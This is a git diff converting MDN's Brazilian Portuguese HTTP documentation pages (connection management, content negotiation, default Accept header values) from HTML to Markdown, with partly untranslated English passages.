+Conexões persistentes também têm desvantagens, mesmo quando em marcha lenta eles consomem recursos do servidor e sob pesada carga, pode efetuar-se {{glossary("DoS attack", "DoS attacks")}}. Em tais casos, usar conexões não-persistentes, que estão fechadas, assim como elas estão ociosas, pode fornecer um melhor desempenho.HTTP/1.0 as conexões sem persistencia por default.Setting {{HTTPHeader("Connection")}} para algo diferente de fechar, costuma após repetir, irá torná-los persistente. -

Em HTTP/1.1, persistencia é o padrão e o cabeçalho não é mais necessário (mas ele é adicionado frequentemente como uma medida defensiva contra casos que exigem um fallback para HTTP/1.0).

+Em HTTP/1.1, persistencia é o padrão e o cabeçalho não é mais necessário (mas ele é adicionado frequentemente como uma medida defensiva contra casos que exigem um fallback para HTTP/1.0). -

HTTP pipelining

+## HTTP pipelining -
-

HTTP o pipelining não é ativado por padrão em navegadores modernos:

+> **Nota:** HTTP o pipelining não é ativado por padrão em navegadores modernos: +> +> - Buggy [proxies](https://en.wikipedia.org/wiki/Proxy_server) são ainda comuns e eles levam a comportamentos estranhos e erráticos que desenvolvedores Web não podem prever e diagnosticar facilmente. +> - Pipelining é complexo para implementar corretamente: o tamanho do recurso a ser transferido, a efetiva [RTT](https://en.wikipedia.org/wiki/Round-trip_delay_time) que será usado, bem como a largura de banda efetiva, têm uma incidência direta na melhoria fornecida pelo pipeline. Sem conhecer eles, mensagens importantes podem ser atrasadas por detrás aqueles sem importância. A noção de importante mesmo evolui durante o layout de página! Pipeline HTTP, portanto, traz uma melhoria marginal na maioria dos casos apenas. +> - Pipelining está sujeito à problema [HOL](https://en.wikipedia.org/wiki/Head-of-line_blocking). +> +> Por estas razões, o pipelining tem sido substituído por um algoritmo melhor, multiplexação, que é usado pelo HTTP/2. -
    -
  • Buggy proxies são ainda comuns e eles levam a comportamentos estranhos e erráticos que desenvolvedores Web não podem prever e diagnosticar facilmente.
  • -
  • Pipelining é complexo para implementar corretamente: o tamanho do recurso a ser transferido, a efetiva RTT que será usado, bem como a largura de banda efetiva, têm uma incidência direta na melhoria fornecida pelo pipeline. Sem conhecer eles, mensagens importantes podem ser atrasadas por detrás aqueles sem importância. A noção de importante mesmo evolui durante o layout de página! Pipeline HTTP, portanto, traz uma melhoria marginal na maioria dos casos apenas.
  • -
  • Pipelining está sujeito à problema HOL.
  • -
+Por padrão, [HTTP](/en/HTTP "en/HTTP") as solicitações são emitidas sequencialmente. A próxima solicitação só é emitida depois que recebeu a resposta para a solicitação atual. Como eles são afetados pelas latências de rede e as limitações de largura de banda, isso pode resultar em atrasos significativos antes que a próxima solicitação é vista pelo servidor. -

Por estas razões, o pipelining tem sido substituído por um algoritmo melhor, multiplexação, que é usado pelo HTTP/2.

-
+Pipelining é o processo para enviar solicitações sucessivas, sobre a mesma conexão persistente, sem esperar pela resposta. Isso evita a latência da conexão. Teoricamente, desempenho também poderia ser melhorado se duas solicitações HTTP para ser embalado na mesma mensagem TCP. O [MSS](https://en.wikipedia.org/wiki/Maximum_segment_size) típico (tamanho máximo de segmento), é grande o suficiente para conter várias solicitações simples, embora a demanda em tamanho de solicitações HTTP continua a crescer. -

Por padrão, HTTP as solicitações são emitidas sequencialmente. A próxima solicitação só é emitida depois que recebeu a resposta para a solicitação atual. Como eles são afetados pelas latências de rede e as limitações de largura de banda, isso pode resultar em atrasos significativos antes que a próxima solicitação é vista pelo servidor.

+Nem todos os tipos de solicitações HTTP podem ser intermitente: only {{glossary("idempotent")}} método, isso é {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} e {{HTTPMethod("DELETE")}} pode ser repetido com segurança: uma falha pode acontecer, o conteúdo do pipeline simplesmente pode ser repetido. -

Pipelining é o processo para enviar solicitações sucessivas, sobre a mesma conexão persistente, sem esperar pela resposta. Isso evita a latência da conexão. Teoricamente, desempenho também poderia ser melhorado se duas solicitações HTTP para ser embalado na mesma mensagem TCP. O MSS típico (tamanho máximo de segmento), é grande o suficiente para conter várias solicitações simples, embora a demanda em tamanho de solicitações HTTP continua a crescer.

+Hoje, cada proxy HTTP/1.1-compatível e servidor devem apoiar o pipelining, embora muitos têm limitações na prática: uma razão significativa, nenhum navegador moderno ativa esse recurso por padrão. -

Nem todos os tipos de solicitações HTTP podem ser intermitente: only {{glossary("idempotent")}} método, isso é {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} e {{HTTPMethod("DELETE")}} pode ser repetido com segurança: uma falha pode acontecer, o conteúdo do pipeline simplesmente pode ser repetido.

+## Domain sharding -

Hoje, cada proxy HTTP/1.1-compatível e servidor devem apoiar o pipelining, embora muitos têm limitações na prática: uma razão significativa, nenhum navegador moderno ativa esse recurso por padrão.

+> **Nota:** A menos que você tem uma necessidade muito específica e imediata, não use esta técnica depreciada; Mude para HTTP/2 ao invéz. Em HTTP/2, sharding domínio não é mais útil: a conexão HTTP/2 é capaz de manipular as solicitações sem prioridades paralelas muito bem. Sharding domínio é mesmo prejudicial ao desempenho. A maioria dos implementação de HTTP/2 usam uma técnica chamada [connection coalescing]() para reverter o sharding de domínio eventual. -

Domain sharding

+Como uma conexão de HTTP/1.x está serializando solicitações, mesmo sem qualquer ordenação, não pode ser ideal sem largura de banda grande o suficiente disponível. Como uma solução, os navegadores abrir várias conexões para cada domínio, enviando solicitações paralelas. Era padrão conexões de 2 a 3, mas isto agora aumentou para um uso mais comum de 6 conexões paralelas. Há um risco de provocar proteção [DoS](/pt-BR/docs/Glossary/DOS_attack) no lado do servidor, se tentar mais do que este número. -
-A menos que você tem uma necessidade muito específica e imediata, não use esta técnica depreciada; Mude para HTTP/2 ao invéz. Em HTTP/2, sharding domínio não é mais útil: a conexão HTTP/2 é capaz de manipular as solicitações sem prioridades paralelas muito bem. Sharding domínio é mesmo prejudicial ao desempenho. A maioria dos implementação de HTTP/2 usam uma técnica chamada connection coalescing para reverter o sharding de domínio eventual. -
+Se o servidor deseja um site de Web mais rápido ou resposta do aplicativo, é possível para o servidor forçar a abertura de mais conexões. Por exemplo, em vez de ter todos os recursos no mesmo domínio, diz www\.example.com, poderia dividir em vários domínios, www1.example.com, www2.example.com, www3.example.com. Cada um destes domínios resolver acessar o mesmo servidor e o navegador da Web abrirá 6 conexões para cada (no nosso exemplo, impulsionando as conexões para 18). Esta técnica é chamada sharding do domínio. -

Como uma conexão de HTTP/1.x está serializando solicitações, mesmo sem qualquer ordenação, não pode ser ideal sem largura de banda grande o suficiente disponível. Como uma solução, os navegadores abrir várias conexões para cada domínio, enviando solicitações paralelas. Era padrão conexões de 2 a 3, mas isto agora aumentou para um uso mais comum de 6 conexões paralelas. Há um risco de provocar proteção DoS no lado do servidor, se tentar mais do que este número.

+![](https://mdn.mozillademos.org/files/13783/HTTPSharding.png) -

Se o servidor deseja um site de Web mais rápido ou resposta do aplicativo, é possível para o servidor forçar a abertura de mais conexões. Por exemplo, em vez de ter todos os recursos no mesmo domínio, diz www.example.com, poderia dividir em vários domínios, www1.example.com, www2.example.com, www3.example.com. Cada um destes domínios resolver acessar o mesmo servidor e o navegador da Web abrirá 6 conexões para cada (no nosso exemplo, impulsionando as conexões para 18). Esta técnica é chamada sharding do domínio.

+## Conclusão -

- -

Conclusão

- -

Gerenciamento de conexão melhorada permite considerável aumento de desempenho em HTTP. Com HTTP/1.1 ou HTTP/1.0, usando uma conexão persistente – pelo menos até que se torne ocioso – levando para o melhor desempenho. No entanto, o falha do pipelining tem levado para a concepção de modelos de gestão de conexão superior, que foram incorporados ao HTTP/2.

+Gerenciamento de conexão melhorada permite considerável aumento de desempenho em HTTP. Com HTTP/1.1 ou HTTP/1.0, usando uma conexão persistente – pelo menos até que se torne ocioso – levando para o melhor desempenho. No entanto, o falha do pipelining tem levado para a concepção de modelos de gestão de conexão superior, que foram incorporados ao HTTP/2. diff --git a/files/pt-br/web/http/content_negotiation/index.md b/files/pt-br/web/http/content_negotiation/index.md index 906b4df1681001..fa1f9b237cd5bd 100644 --- a/files/pt-br/web/http/content_negotiation/index.md +++ b/files/pt-br/web/http/content_negotiation/index.md @@ -10,147 +10,105 @@ tags: - TopicStub translation_of: Web/HTTP/Content_negotiation --- -
{{HTTPSidebar}}
+{{HTTPSidebar}}No [HTTP](/pt-BR/docs/Glossary/HTTP), **_negociação de conteúdo_** é o mecanismo que é usado para servir diferentesrepresentações de um recurso no mesmo URI, de forma que o agente do usuáriopossa especificar qual é a melhor representação adequada ao usuário(por exemplo, qual idioma de um documento, qual formato de imagem ouqual codificação de conteúdo) -
No HTTP, negociação de conteúdo é o mecanismo que é usado para servir diferentes
+## Princípios da negociação do conteúdo -
representações de um recurso no mesmo URI, de forma que o agente do usuário
+Um documento específico é denominado _recurso_. Quando um cliente quer obtê-lo, ele o requisita usando sua URL. O servidor usa esta URL para escolherum das variantes que ele provê - cada variante sendo chamada de _representação_ - e retorna essa representação específica para o cliente. O recurso de forma geral, bem como suas representações, têm uma URL específica. Como uma representação específica é escolhida quando um recurso é chamado é determinado pela _negociação de conteúdo_ e existem algumas maneiras de negociar entre entre o cliente e o servidor. -
possa especificar qual é a melhor representação adequada ao usuário
+![](https://mdn.mozillademos.org/files/13789/HTTPNego.png) -
(por exemplo, qual idioma de um documento, qual formato de imagem ou
+A determinação da representação mais adequada é feita através de um dos dois mecanismos: -
qual codificação de conteúdo)
+- [Cabeçalhos HTTP](/pt-BR/docs/Web/HTTP/Headers) específicos pelo cliente (_negociação com base no servidor_ ou _negociação pró-ativa_) +- [Os códigos de resposta](/pt-BR/docs/Web/HTTP/Status) do servidor {HTTPStatus("300")}} (Múltiplas escolhas) or {{HTTPStatus("406")}} (Não aceitável) (_negociação baseada no agente_ ou _negociação reativa_), que são usados como mecanimos de reserva (_fallback_). -

Princípios da negociação do conteúdo

+Ao longo dos anos, outras propostas de negociação de conteúdo, como _negociação de conteúdo transparente_ e o cabeçalho `Alternates` foram propostas. Elas falharam em ganhar apoio e foram abandonadas. -

Um documento específico é denominado recurso. Quando um cliente quer obtê-lo, ele o requisita usando sua URL. O servidor usa esta URL para escolherum das variantes que ele provê - cada variante sendo chamada de representação - e retorna essa representação específica para o cliente. O recurso de forma geral, bem como suas representações, têm uma URL específica. Como uma representação específica é escolhida quando um recurso é chamado é determinado pela negociação de conteúdo e existem algumas maneiras de negociar entre entre o cliente e o servidor.

+## Negociação baseada no servidor -

+Na _negociação baseada no servidor_, ou negociação proativa, o navegador (ou outro tipo de agente do usuário) envia diversos cabeçalhos HTTP junto com a URL. Estes cabeçalhos descrevem a escolha preferida do usuário. O servidor usa-os como sugestões e um algoritmo intero escolhe o melhor conteúdo para ser servido ao usuário. O algoritmo é específico para cada servidor e não é definido no padrão. Veja, por-exemplo, o [algoritmo de negociação do Apache 2.2](http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm). -

A determinação da representação mais adequada é feita através de um dos dois mecanismos:

+![](https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png) -
    -
  • Cabeçalhos HTTP específicos pelo cliente (negociação com base no servidor ou negociação pró-ativa)
  • -
  • Os códigos de resposta do servidor {HTTPStatus("300")}} (Múltiplas escolhas) or {{HTTPStatus("406")}} (Não aceitável) (negociação baseada no agente ou negociação reativa), que são usados como mecanimos de reserva (fallback).
  • -
+O padrão HTTP/1.1 define uma lista de cabeçalhos-padrão que iniciam a negociação baseada no servidor ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Apesar do {{HTTPHeader("User-Agent")}} não estar formalmente na lista, ele é, às vezes, também usado para enviar uma representação específica do recurso requisitado, apesar disso não ser considerado uma boa prática. O servidor usa o cabeçalho {{HTTPHeader("Vary")}} para indicar quais cebeçalhos de fato foram usados na negociação do conteúdo (ou, mais precisamente, nos cabeçahos de resposta associados), de forma que [caches ](/pt-BR/docs/Web/HTTP/Caching)possam funcionar de forma otimizada. -

Ao longo dos anos, outras propostas de negociação de conteúdo, como negociação de conteúdo transparente e o cabeçalho Alternates foram propostas. Elas falharam em ganhar apoio e foram abandonadas.

+Além desses, existe uma proposta experimental para adicionar mais cabeçalhos à lista dos disponíveis, as chamadas _sugestões do cliente_. Sugestões do cliente indicam qual é o tipo do dispositivo em que o agente do usuário roda (por-exemplo, se é um computador de mesa ou um dispositivo móvel). -

Negociação baseada no servidor

+Mesmo sendo a negociação com base no servidor a forma mais comum de concordar com uma representação específica de um recurso, ela ainda assim tem algumas desvantagens: -

Na negociação baseada no servidor, ou negociação proativa, o navegador (ou outro tipo de agente do usuário) envia diversos cabeçalhos HTTP junto com a URL. Estes cabeçalhos descrevem a escolha preferida do usuário. O servidor usa-os como sugestões e um algoritmo intero escolhe o melhor conteúdo para ser servido ao usuário. O algoritmo é específico para cada servidor e não é definido no padrão. Veja, por-exemplo, o algoritmo de negociação do Apache 2.2.

+- O servidor não tem conhecimento total sobre o navegador. Mesmo com a extensão das Sugestões do cliente, o servidor continua sem saber completamente quais são as capacidades do navegador. Diferente da negociação de conteúdo reativa, onde o cliente faz uma escolha, a escolha do servidor é, até certo ponto, arbitrária. +- A informação do cliente é bastante verbosa (a compressão de cabeçalhos do HTTP/2 mitiga este problema) e um risco à privacidade (impressão digital HTTP). +- Como diversas representações de um recurso são enviadas, caches compartilhados são menos eficiantes e, implementações de servidor, mais complexas. -

+### The `Accept` header -

O padrão HTTP/1.1 define uma lista de cabeçalhos-padrão que iniciam a negociação baseada no servidor ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Apesar do {{HTTPHeader("User-Agent")}} não estar formalmente na lista, ele é, às vezes, também usado para enviar uma representação específica do recurso requisitado, apesar disso não ser considerado uma boa prática. O servidor usa o cabeçalho {{HTTPHeader("Vary")}} para indicar quais cebeçalhos de fato foram usados na negociação do conteúdo (ou, mais precisamente, nos cabeçahos de resposta associados), de forma que caches possam funcionar de forma otimizada.

+The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types. -

Além desses, existe uma proposta experimental para adicionar mais cabeçalhos à lista dos disponíveis, as chamadas sugestões do cliente. Sugestões do cliente indicam qual é o tipo do dispositivo em que o agente do usuário roda (por-exemplo, se é um computador de mesa ou um dispositivo móvel).

+The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of [default values for common browsers](/pt-BR/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values) is available. -

Mesmo sendo a negociação com base no servidor a forma mais comum de concordar com uma representação específica de um recurso, ela ainda assim tem algumas desvantagens:

+### The `Accept-CH` header {{experimental_inline}} -
    -
  • O servidor não tem conhecimento total sobre o navegador. Mesmo com a extensão das Sugestões do cliente, o servidor continua sem saber completamente quais são as capacidades do navegador. Diferente da negociação de conteúdo reativa, onde o cliente faz uma escolha, a escolha do servidor é, até certo ponto, arbitrária.
  • -
  • A informação do cliente é bastante verbosa (a compressão de cabeçalhos do HTTP/2 mitiga este problema) e um risco à privacidade (impressão digital HTTP).
  • -
  • Como diversas representações de um recurso são enviadas, caches compartilhados são menos eficiantes e, implementações de servidor, mais complexas.
  • -
+> **Nota:** This is part of an **experimental** technology called _Client Hints_. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later. -

The Accept header

+The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are: -

The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.

+| Value | Meaning | +| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `Device-Memory` | Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as `0.5`. | +| `DPR` | Indicates the client's device pixel ratio. | +| `Viewport-Width` | Indicates the layout viewport width in CSS pixels. | +| `Width` | Indicates the resource width in physical pixels (in other words the intrinsic size of an image). | -

The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available.

+### The `Accept-Charset` header -

The Accept-CH header {{experimental_inline}}

+The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like `ISO-8859-1,utf-8;q=0.7,*;q=0.7` for a Western European locale. -
-

This is part of an experimental technology called Client Hints. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.

-
+With UTF-8 now being well-supported, being the preferred way of encoding characters, [and to guarantee better privacy through less configuration-based entropy](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy), browsers omit the `Accept-Charset` header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header. -

The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:

+### The `Accept-CH-Lifetime` header - - - - - - - - - - - - - - - - - - - - - - - - - -
ValueMeaning
Device-MemoryIndicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as 0.5.
DPRIndicates the client's device pixel ratio.
Viewport-WidthIndicates the layout viewport width in CSS pixels.
WidthIndicates the resource width in physical pixels (in other words the intrinsic size of an image).
+> **Nota:** This is part of an **experimental** technology called _Client Hints_ and is only available in Chrome 61 or later. -

The Accept-Charset header

+The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the `Device-Memory` value of the `Accept-CH` header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional. -

The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like ISO-8859-1,utf-8;q=0.7,*;q=0.7 for a Western European locale.

+### The `Accept-Encoding` header -

With UTF-8 now being well-supported, being the preferred way of encoding characters, and to guarantee better privacy through less configuration-based entropy, browsers omit the Accept-Charset header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.

+The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: `br, gzip;q=0.8`) that indicates the priority of the encoding values. The default value `identity` is at the lowest priority (unless otherwise declared). -

The Accept-CH-Lifetime header

+Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression. -
-

This is part of an experimental technology called Client Hints and is only available in Chrome 61 or later.

-
+### The `Accept-Language` header -

The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the Device-Memory value of the Accept-CH header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.

+The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: `"de, en;q=0.7`"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences. -

The Accept-Encoding header

+Due to the [configuration-based entropy](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy) increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience: -

The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. The default value identity is at the lowest priority (unless otherwise declared).

+- They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the `Accept-Language` header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance. +- Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header. -

Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.

+### The `User-Agent` header -

The Accept-Language header

+> **Nota:** Though there are legitimate uses of this header for selecting content, [it is considered bad practice](/pt-BR/docs/Web/HTTP/Browser_detection_using_the_user_agent) to rely on it to define what features are supported by the user agent. -

The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: "de, en;q=0.7"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.

+The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of _product tokens_ and _comments_. -

Due to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:

+A _product token_ is a name followed by a '`/`' and a version number, like `Firefox/4.0.1`. There may be as many of them as the user-agent wants. A _comment_ is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '`;`'. -
    -
  • They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the Accept-Language header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.
  • -
  • Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.
  • -
+### The `Vary` response header -

The User-Agent header

+In opposition to the previous `Accept-*` headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user. -
-

Though there are legitimate uses of this header for selecting content, it is considered bad practice to rely on it to define what features are supported by the user agent.

-
+The special value of '`*`' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content. -

The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of product tokens and comments.

+The `Vary` header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '`*`' prevents caching from occurring, as the cache cannot know what element is behind it. -

A product token is a name followed by a '/' and a version number, like Firefox/4.0.1. There may be as many of them as the user-agent wants. A comment is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by ';'.

+## Agent-driven negotiation -

The Vary response header

+Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern. -

In opposition to the previous Accept-* headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.

+From the beginnings of HTTP, the protocol allowed another negotiation type: _agent-driven negotiation_ or _reactive negotiation_. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use. -

The special value of '*' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.

+![](https://mdn.mozillademos.org/files/13795/HTTPNego3.png) -

The Vary header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it.

- -

Agent-driven negotiation

- -

Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.

- -

From the beginnings of HTTP, the protocol allowed another negotiation type: agent-driven negotiation or reactive negotiation. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.

- -

- -

Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.

+Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the _server-driven negotiation_, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user. diff --git a/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.md b/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.md index 6fac933efd1be1..9355d50d042fa0 100644 --- a/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.md +++ b/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.md @@ -8,257 +8,77 @@ tags: - Referencia translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Este artigo documenta os valores padrão para o cabeçalho HTTP Accept para entradas e versões específicas do navegador.

+Este artigo documenta os valores padrão para o cabeçalho HTTP [`Accept`](/en-US/docs/Web/HTTP/Headers/Accept) para entradas e versões específicas do navegador. -

Valores padrão

+## Valores padrão -

Estes são os valores enviados quando o contexto não fornece mais informações. Observe que todos os navegadores adicionam o tipo MIME */* para cobrir todos os casos. Isso é normalmente usado para solicitações iniciadas por meio da barra de endereços de um navegador ou por meio de um elemento HTML {{HTMLElement("a")}}.

+Estes são os valores enviados quando o contexto não fornece mais informações. Observe que todos os navegadores adicionam o tipo MIME `*/*` para cobrir todos os casos. Isso é normalmente usado para solicitações iniciadas por meio da barra de endereços de um navegador ou por meio de um elemento HTML {{HTMLElement("a")}}. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValorComentário
Firefox -

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (desde o Firefox 66)
-
- text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (no Firefox 65)
-
- text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (antes)

-
-

No Firefox 65 e versões anteriores, esse valor pode ser modificado usando o parâmetro network.http.accept.default. (fonte)

-
Safari, Chrome +| User Agent | Valor | Comentário | +| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox | `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` (desde o Firefox 66) `text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8` (no Firefox 65) `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` (antes) | No Firefox 65 e versões anteriores, esse valor pode ser modificado usando o parâmetro [`network.http.accept.default`](http://kb.mozillazine.org/Network.http.accept.default). ([fonte](https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l1750)) | +| Safari, Chrome | `text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8` | ([fonte](/pt-BR/docs/)) | +| Safari 5 | `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` | Esta é uma melhoria em comparação com os cabeçalhos `Accept` já que não mais classifica `image/png` acima de `text/html` | +| Internet Explorer 8 | `image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*` | Veja [IE and the Accept Header (blog de MSDN da IEInternals)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx). | +| Edge | `text/html, application/xhtml+xml, image/jxr, */*` | | +| Opera | `text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1` | | +## Valores para uma imagem -

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

